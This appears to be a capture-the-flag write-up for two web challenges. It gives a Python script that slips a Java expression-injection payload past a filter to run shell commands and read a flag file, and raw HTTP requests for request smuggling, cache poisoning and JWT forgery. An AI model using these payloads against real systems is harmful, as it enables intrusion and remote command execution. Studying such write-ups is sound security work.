Frog-WAF
Using getClass()
and getMethods()
to access filtered methods. The goal was to get ${Class.forName('java.lang.Runtime').getRuntime().invoke(null).exec(<RCE>).getInputStream().read()}
.
import requests
def get_int(i):
if i == 0:
return "message.equals(message).compareTo(message.equals(message))"
target = i
one = "message.equals(message).compareTo(message.equals(message.hashCode()))"
curr = one
for i in range(target - 1):
curr = f"message.length().sum({one}, {curr})"
return curr
def get_chr(i):
# charAt - 22
# toChars - 39
# String.charAt(0).toChars(i)[0].toString()
return f"message.getClass().getMethods()[{get_int(22)}].invoke(message, {get_int(0)}).getClass().getMethods()[{get_int(39)}].invoke(message,{get_int(i)})[{get_int(0)}].toString()"
def get_str(s):
res = get_chr(ord(s[0]))
for i in range(1, len(s)):
res += f".concat({get_chr(ord(s[i]))})"
return res
def get_class(s):
# forName: 2
# Class.forName(s)
return f"message.getClass().getClass().getMethods()[{get_int(2)}].invoke(message, {get_str(s)})"
# exec - 12
res = ''
for i in range(1,60)
cmd = f"sh -c $@|sh . echo bash -c \"cat /flag-*.txt | cut -c{i}\""
r = requests.post("http://frog-waf.chals.sekai.team/addContact", json={
"firstName": "test", "lastName": "test", "description": "test",
"country": f"${{{get_class('java.lang.Runtime')}.getMethods()[{get_int(6)}].invoke(null).exec({get_str(cmd)}).getInputStream().read()}}"
})
data = r.json()
violations = data['violations']
for v in violations:
if v['fieldName'] == 'country':
res += chr(int(v['message'].strip(" is not a valid country")))
print(res)
break
Chunky
- Cache server drops
Transfer-Encoding
but nottransfer-encoding
. - Cache server caches
/<user-id>/.well-known/jwks.json
. - Backend server makes a request to
/<user-id>/.well-known/jwks.json
to validate the JWT.
- Create a post containing our own JWKS JSON.
POST /create_post HTTP/1.1
Host: chunky.chals.sekai.team:8080
Content-Type: application/x-www-form-urlencoded
Cookie: session=eyJ1c2VyX2lkIjoiNTZlMDI1NDMtODYxNi00NTM2LTkwNjItZjE4YTRhNDY2YTAzIn0.ZOqyYw.IBTk7DeLUl-CQEGZMP700UINovQ
Connection: close
Content-Length: 709
title=%7b%0d%0a%20%20%22keys%22%3a%20%5b%0d%0a%20%20%20%20%7b%0d%0a%20%20%20%20%20%20%22alg%22%3a%20%22RS256%22%2c%0d%0a%20%20%20%20%20%20%22x5c%22%3a%20%5b%0d%0a%20%20%20%20%20%20%20%20%22MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAvrd%2fZuqjjm7IpIQkGF%2fF%5cnhHMhkoUMpknSQ02XN6%2ft9UUQHRWuQ40DJwFLPhz5b%2b9Y6JenwMVTdYB1pHK6XxFe%5cnPgIMXeWQZjlWojQ5aLNsM5ZApbdpTFQLNKHEJCGfKQ%2bcpSsC5dUjh2jJGmV7jJG2%5cntGh8f2AcWn33FidVkqR3kvRqxMhvC8YZkekTQkeZyJ6zeet2FTyB3QswWT4hK0bQ%5cnQA46pWwLjzooidC9fXFx8UUb4e4e6Mj7VgZnd2MahidcJ%2bDhTMlfpBzLKMTcW2%2bZ%5cnlLQQ5kXzjS8qbBPhD7yBYI3vpeTueAVcrSb8UpXsCPwUSWRfKKMe67SLHNznMD6U%5cnVQIDAQAB%22%0d%0a%20%20%20%20%20%20%5d%0d%0a%20%20%20%20%7d%0d%0a%20%20%5d%0d%0a%7d%0d%0a&content=
- Poison the cache by sending the following request. The cache server thinks that there are 2 requests, one to
/aaaaa
and one to/56e02543-8616-4536-9062-f18a4a466a03/.well-known/jwks.json
. The backend server, which correctly processes thetransfer-encoding
header, thinks that the second request is to/post/56e02543-8616-4536-9062-f18a4a466a03/e85a6915-0fe6-4ca6-a5e7-862d00bca6e5
GET /aaaaa HTTP/1.1
Host: localhost
transfer-encoding: chunked
Content-Length: 102
0
GET /post/56e02543-8616-4536-9062-f18a4a466a03/e85a6915-0fe6-4ca6-a5e7-862d00bca6e5 HTTP/1.1
X: GET /56e02543-8616-4536-9062-f18a4a466a03/.well-known/jwks.json HTTP/1.1
Host: localhost
- Forge the JWT.
GET /admin/flag HTTP/1.1
Host: localhost
Cookie: session=eyJ1c2VyX2lkIjoiNTZlMDI1NDMtODYxNi00NTM2LTkwNjItZjE4YTRhNDY2YTAzIn0.ZOqyYw.IBTk7DeLUl-CQEGZMP700UINovQ
Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4ifQ.dct-feQ3Pi2UQ-79P7U5AtVfyKHT4J9q0JIqaXYh4H-RU308pKT_sXP70z1FUHrWh8q3rnsYB0ONxHdGU6dcioCS1ZzaMHLs657h25hg8--cA_CAeCcJn3aKxjn4jXlmP9U-6vViRnYjY_ZCVpaPbaF5Uovd6PrW3kgp7Ei2fJVVz6cl8q_ZozGnPt2YR4P0KpajGYyfqeSoFE_3oUBGWveObmAsZknCpcoKwqURMGE9womvE_ifvVuHqs_g677j-NeF4RQ2HVmiaKFMiOYFixCqW6OA_lrJjg4l_TSgEpCOKDvGEwaHWbCHbW-wS63U6SJ1vVZv7silKK10b94z9A